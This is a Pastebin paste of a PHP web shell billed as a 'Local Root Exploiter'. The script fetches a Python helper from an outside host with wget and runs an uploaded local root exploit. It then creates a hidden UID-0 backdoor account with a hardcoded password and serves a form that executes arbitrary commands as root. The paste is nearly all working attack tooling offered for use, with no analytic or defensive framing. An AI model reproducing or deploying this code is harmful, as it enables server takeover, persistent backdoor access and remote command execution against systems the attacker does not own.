API tools faq
paste
smziaurrashid

Python-PHP Exploiter

smziaurrashid
Apr 16th, 2016
334
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.83 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. // By MakMan - http://www.mukarramkhalid.com
  3.  
  4. ini_set('error_reporting', 0);
  5. ini_set('max_execution_time', 0);
  6.  
  7. $user     = "makman";
  8. $passwd   = "makman";
  9. $path     = "/tmp/";
  10. $pmakman  = "pexpect_makman.py";
  11. $pscript  = "makman_script.py";
  12. $pexploit = "makman_script_exploit.py";
  13. $pexpect  = "http://makman.tk/scripts/pexpect_makman.py";
  14. $cmd      = ( isset( $_POST["cmd"] ) ? $_POST["cmd"] : '' );
  15. $exploit  = ( isset( $_POST["check_exploit"] ) ? $_FILES["exploit"]["name"] : '' );
  16. $script   = "
  17. import pexpect_makman
  18. child = pexpect_makman.spawn('su - ".$user."', timeout = 3)
  19. child.expect('Password:')
  20. child.sendline('".$passwd."')
  21. child.expect(['~#', '#'])
  22. child.sendline('".$cmd."')
  23. child.expect(['~#', '#'])
  24. print child.before
  25. child.close()
  26. ";
  27. $script_exploit    = "
  28. import pexpect_makman
  29.  
  30. try:    
  31.    child = pexpect_makman.spawn('".$path.$exploit."', timeout = 8)
  32.    child.expect(' ', timeout = 5)
  33.    child.sendline('useradd -ou 0 -g 0 ".$user."')
  34.    child.expect(' ', timeout = 1)
  35.    child.sendline('passwd ".$user."')
  36.    child.expect('password:', timeout = 1)
  37.    child.sendline('".$passwd."')
  38.    child.expect('password:', timeout = 1)
  39.    child.sendline('".$passwd."')
  40.    out = child.read()
  41. except:
  42.    print 'Some exceptions were thrown.'
  43.  
  44. print 'Done. Refreshing page in 2 second.'
  45. ";
  46.  
  47. ?>
  48.  
  49. <!doctype html>
  50. <html>
  51. <head>
  52.     <meta charset='utf-8'>
  53.     <title>MakMan</title>
  54.     <style type='text/css'>
  55.     body
  56.     {
  57.         font:                 normal 15px Verdana;
  58.         color:                #ffffff;
  59.         background-color:     #000000;
  60.     }
  61.     textarea
  62.     {
  63.         width:                100%;
  64.         height:               300px;
  65.         resize:               none;
  66.         overflow-y:           scroll;
  67.     }
  68.     pre
  69.     {
  70.         text-align:           center;
  71.     }
  72.     a
  73.     {
  74.         text-decoration:      none;
  75.         color:                #ff0000;
  76.     }
  77.     a:hover
  78.     {
  79.         text-decoration:      underline;
  80.         color:                #ff0000;
  81.     }
  82.     .green
  83.     {
  84.         font:                  normal 15px Verdana;
  85.         color:                 #00ff00;
  86.         text-align:            center;
  87.     }
  88.     .red
  89.     {
  90.         font:                  normal 15px Verdana;
  91.         color:                 #ff0000;
  92.         text-align:            center;
  93.     }
  94.     </style>
  95. </head>
  96. <body>
  97. <pre>
  98. +-+-+-+-+-+ +-+-+-+-+ +-+-+-+-+-+-+-+-+-+
  99. |L|o|c|a|l| |R|o|o|t| |E|x|p|l|o|i|t|e|r|
  100. +-+-+-+-+-+ +-+-+-+-+ +-+-+-+-+-+-+-+-+-+
  101. </pre>
  102. <h1 class='red'>By <a href='http://mukarramkhalid.com'>MakMan</a></h1>
  103. <pre>
  104. ----------------------------------------------------------------------
  105. </pre>
  106. <?php
  107.  
  108.     ################################      MAKMAN_FUNCTIONS     #################################
  109.  
  110.     function download_module( $module_url, $module_path ) {
  111.         if( !file_exists( $module_path ) || filesize($module_path) == 0 ) {
  112.             exec( "wget ".$module_url." -O ".$module_path );
  113.             if( !file_exists( $module_path ) || filesize($module_path) == 0 ) {
  114.                 return false;
  115.             }
  116.             else
  117.                 return true;
  118.         }
  119.         return true;
  120.     }
  121.  
  122.     function write_script( $source, $script_path ) {
  123.         file_put_contents( $script_path , $source );
  124.         if( file_exists( $script_path ) )
  125.             return true;
  126.         else
  127.             return false;
  128.     }
  129.  
  130.     function format_output( $out ) {
  131.         foreach( $out as $o ) {
  132.             echo htmlspecialchars( preg_replace( "/\x1b\[[0-9;]*m/", "", trim( $o ) ) )."\n";
  133.         }
  134.     }
  135.  
  136.     function execute_cmd( $scr, $pex , $pex_path, $psc_path) {
  137.         if( download_module( $pex, $pex_path ) ) {
  138.             if( write_script( $scr, $psc_path ) ) {
  139.                 exec( "python ".$psc_path, $output );
  140.                 format_output( $output );
  141.             }
  142.             else {
  143.                 echo "Script '$psc_path' wasn't successfully written or not accessible.\nTry creating it manually.";
  144.             }
  145.         }
  146.         else {
  147.             echo "Failed to download the module.\nDownload it from $pex and create it manually here $pex_path";
  148.         }
  149.     }
  150.  
  151.     function execute_exploit( $exp, $scr_e, $pex, $pex_path, $psc_path ) {
  152.         if( download_module( $pex, $pex_path ) ) {
  153.             move_uploaded_file( $_FILES["exploit"]["tmp_name"], $exp );
  154.             chmod( $exp, 0777 );
  155.             if( write_script( $scr_e, $psc_path ) ) {
  156.                 exec( "python ".$psc_path, $output );
  157.                 format_output( $output );
  158.             }
  159.             else{
  160.                 echo "Script '$psc_path' wasn't successfully written or not accessible.\nTry creating it manually.";
  161.             }
  162.         }
  163.         else {
  164.             echo "Failed to download the module.\nDownload it from $pex and create it manually here $pex_path";
  165.         }
  166.     }
  167.  
  168.     function check_user( $usr ) {
  169.         $passwd_file = file_get_contents( '/etc/passwd' );
  170.         if( strpos( $passwd_file, $usr.":x:" ) !== false ) {
  171.             return true;
  172.         }
  173.         else {
  174.             return false;
  175.         }
  176.     }
  177.  
  178.     function check_os() {
  179.         if ( strtoupper( substr( PHP_OS, 0, 3 ) ) === "WIN" ) {
  180.             exit( "<p class='red'>Only works on Linux</p></body></html>" );
  181.         }    
  182.     }
  183.  
  184.     ################################      MAKMAN_MAIN     #########################################
  185.  
  186.     check_os();
  187.  
  188.     if( check_user( $user ) ) {
  189.        
  190.         echo "<p class='green'>Session (User) exists. Insert commands to execute.</p>";
  191.         echo "<textarea>";
  192.         if( isset( $_POST["cmd"] ) ) {
  193.             execute_cmd( $script, $pexpect, $path.$pmakman, $path.$pscript);
  194.         }
  195.         echo "</textarea>";
  196.         echo "
  197.                <center>
  198.                <form method='POST' action=''>
  199.                <input name='cmd' type='text' autofocus><br>
  200.                <input name='Submit' value='Submit' type='submit'><br>
  201.                </form>
  202.                </center>
  203.            ";
  204.  
  205.     }
  206.  
  207.     else {
  208.  
  209.         if( isset( $_POST["check_exploit"] ) ) {
  210.             echo "<textarea>";
  211.             execute_exploit( $path.$exploit, $script_exploit, $pexpect, $path.$pmakman, $path.$pexploit );
  212.             echo "</textarea>";
  213.             header( "Refresh:2" );
  214.         }
  215.         echo "<p class='red'>Session (User) not found. Upload your local root exploit to execute.</p>";
  216.         echo "
  217.                <center>
  218.                <form method='POST' action='' enctype='multipart/form-data'>
  219.                <input name='check_exploit' type='hidden' value='1'>
  220.                <input name='exploit' type='file'>
  221.                <input name='Submit' value='Submit' type='submit'><br>
  222.                </form>
  223.                </center>
  224.            ";
  225.  
  226.     }
  227.  
  228.  
  229. ?>
  230.  
  231.  
  232. </body>
  233. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!